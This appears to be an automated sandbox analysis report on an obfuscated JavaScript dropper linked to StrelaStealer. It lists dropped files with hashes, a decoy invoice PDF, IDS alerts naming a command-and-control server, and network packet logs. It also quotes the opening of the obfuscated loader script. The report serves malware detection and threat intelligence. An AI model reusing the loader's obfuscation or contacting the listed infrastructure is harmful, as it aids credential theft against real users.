Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4b899dbd-ea37-45a0-be34-ad9c120a6f46.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\67e63038-885f-4dee-94ba-cff9322a1438.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e3b1a8ba-6e96-49cc-a746-32ffab93fadd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15281), with CRLF line terminators
Entropy (8bit):	4.927575382998796
TrID:
File name:	1383920648257922108.js
File size:	18'822 bytes
MD5:	51eeab81c9183c38ddce5456805d27be
SHA1:	af79280e090543ccbf2c14162ab6361e32594034
SHA256:	c0f12793d6237dee29ab8ab71d52d3ccfff78ed519a4908e077fbfc385d16c53
SHA512:	ec57a4009ee407ffdf916d03f8b31d94d5e10f78884ea217ecc2b1863b841a0347734160b1f08eb61d698e7adfd54600e30680f1a25ea2eeb775e8f4e4fd444a
SSDEEP:	384:eZDkI/l4O8xvh1HUaVgGRQEDVYZohA2rW:eZDkI/Ovh1mGBDVKoC2rW
TLSH:	F5828688C609A343DDEC61E5495F51D3B6CC798E241CC8A61A0BD81A1E29B70F7F61FA
File Content Preview:	function lqmvksqzv(){jtwjwpdzc=[1031,3079,5127,4103,2055,3072];var daagd=this[xmiedn+qdmhku+tesztqzv+crlualu+gdnjdvcvb+rxzlivty+lpmqr+bksihitz](this[hwfbbnif+oiuobfarx+mdrwsdys+tesztqzv+zitgshca+xmiedn+bksihitz][yxdssps+tesztqzv+gdnjdvcvb+qdmhku+bksihitz+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:03:09.771111+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:03:09.771111+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:03:12.377117+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:03:08.971960068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:08.976843119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:08.976950884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:08.979819059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:08.984661102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.770987034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771059036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771111965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771111012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.771146059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771181107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771198988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.771214962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771248102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771274090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.771279097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771322012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.771333933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771384954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.771424055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.776329994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.776350021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.776387930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.818037987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.818049908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.818115950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.899169922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899218082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899230003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899241924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899262905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.899291992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.899477959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899517059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899554014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.899727106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899738073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899749041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.899770975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.900053024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900064945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900078058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900088072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.900094986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900108099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900131941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.900150061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.900908947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900923967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900935888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900957108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.900960922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.900968075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.901005983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.901799917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.901807070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.901809931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.901815891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.901844025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.901884079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.947108030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.947122097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.947135925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:09.947161913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.947211981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:09.986648083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027525902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027540922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027553082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027573109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027584076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027595043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.027621984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.027663946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.027769089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027861118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027872086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.027894974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.028070927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028089046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028100967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028111935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.028114080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028126001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028136015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.028167009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.028614044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028633118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028644085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028656006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028666973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.028675079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.028690100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.029218912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029232025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029242992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029253006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029263973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029274940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029278040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.029287100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029298067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029304981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.029340982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.029925108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029963017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029973030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029977083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.029987097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.029998064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030019045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.030044079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.030127048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030138969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030149937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030186892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.030926943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030941010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030951977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030977964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.030982971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.030989885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.031001091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.031001091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.031013012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.031024933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.031034946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.031066895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.034607887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.034647942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.034668922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.034703016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.034714937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.034725904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.034742117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.034765959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.074984074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.075005054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.075016975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.075040102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.075088978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.075109005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.115003109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.115016937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.115139961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156121969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156136990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156147003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156167984 CET	80	49730	193.143.1.205	192.168.2.4
